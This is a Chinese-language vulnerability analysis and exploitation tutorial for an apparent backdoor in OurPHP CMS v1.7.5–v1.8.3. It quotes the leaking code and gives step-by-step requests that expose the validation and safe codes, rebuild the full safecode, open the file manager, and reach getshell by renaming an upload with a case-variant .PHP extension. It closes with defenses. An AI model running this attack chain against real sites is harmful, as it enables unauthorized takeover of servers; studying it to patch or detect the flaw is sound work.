某php一处疑似官方后门导致getshell
字数 1248 2025-08-29 08:32:00
OurPHP CMS 后门漏洞分析与利用教学文档
漏洞概述
本漏洞存在于OurPHP CMS (v1.7.5-v1.8.3)中,涉及一个设计不当的后门机制,允许攻击者通过暴露的系统安全校验码和口令码获取系统管理权限,最终可能导致任意文件操作和getshell。
漏洞影响范围
- OurPHP CMS v1.7.5 至 v1.8.3 版本
漏洞详细分析
1. 安全校验码泄露点
文件路径: function/editor/php/upload_json.php
if(isset($_GET["upload_file"])){
$json = new Services_JSON();
echo $json -> uploadsafe();
}
文件路径: function/editor/php/json.php (第238行)
function uploadsafe() {
global $ourphp;
return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32);
}
此函数会返回两个关键信息:
- 系统口令码(
$ourphp['validation']) - 安全校验码的前32位(
substr($ourphp['safecode'], 0, 32))
2. 安全校验码生成机制
文件路径: function/install/index.php (第288行)
$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);
安全校验码由两部分组成:
- 32位随机字符串
- 从第6位开始取6位字符
最终的安全校验码为:$ourphp_safecode.$safecode6
3. 权限验证绕过点
文件路径: client/manage/ourphp_filebox.php (第45行)
if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){
$_SESSION['ourphp_outtime'] = time() + 3600;
$_SESSION['ourphp_out'] = "ourphp";
}
通过提供正确的validation(口令码)和code(完整安全校验码),攻击者可以绕过管理员认证,直接获取文件管理权限。
4. 文件操作漏洞
文件重命名漏洞 (832行):
function renam($rename, $nrename, $folder) {
global $meurl,$folder;
$php = explode('.',$nrename);
$php = end($php);
if($php == 'php' || $php == 'asp' || $php == 'jsp' || $php == 'aspx'){
printerror("重命名出错!");
exit;
}
}
此过滤机制可以通过大小写绕过(如.PHP, .PhP等)。
漏洞利用步骤
第一步:获取系统敏感信息
访问URL获取口令码和安全校验码部分:
http://target.com/function/editor/php/upload_json.php?upload_file=aaa
响应示例:
<!--12345||QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkm
解析:
- 口令码(validation):
12345 - 安全校验码前32位:
QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkm
第二步:构造完整安全校验码
根据代码分析,完整安全校验码由两部分组成:
- 前32位(已获取)
- 从前32位中第6位开始的6位字符
计算第二部分:
原始32位: QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkm
从第6位(0-based)开始取6位: YHlDUg
完整安全校验码: QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg
第三步:获取文件管理权限
使用获取的凭证访问文件管理页面:
http://target.com/client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg
第四步:文件操作
- 上传文件:通过文件管理功能上传恶意文件
- 重命名绕过:将无害文件(如.txt)重命名为.php文件(使用大小写变种,如.PHP)
防御措施
- 升级到最新版本OurPHP CMS
- 修改默认的口令码和安全校验码
- 删除或限制访问
upload_json.php文件 - 加强文件类型检查,使用strtolower统一小写比较
- 实现更安全的权限验证机制
总结
此漏洞利用链展示了从信息泄露到权限提升再到文件操作的全过程,攻击者可以通过系统暴露的敏感信息构造有效的攻击请求,最终获取系统控制权。开发者在设计安全机制时应避免将敏感信息暴露在前端,并实现更严格的权限验证和文件操作限制。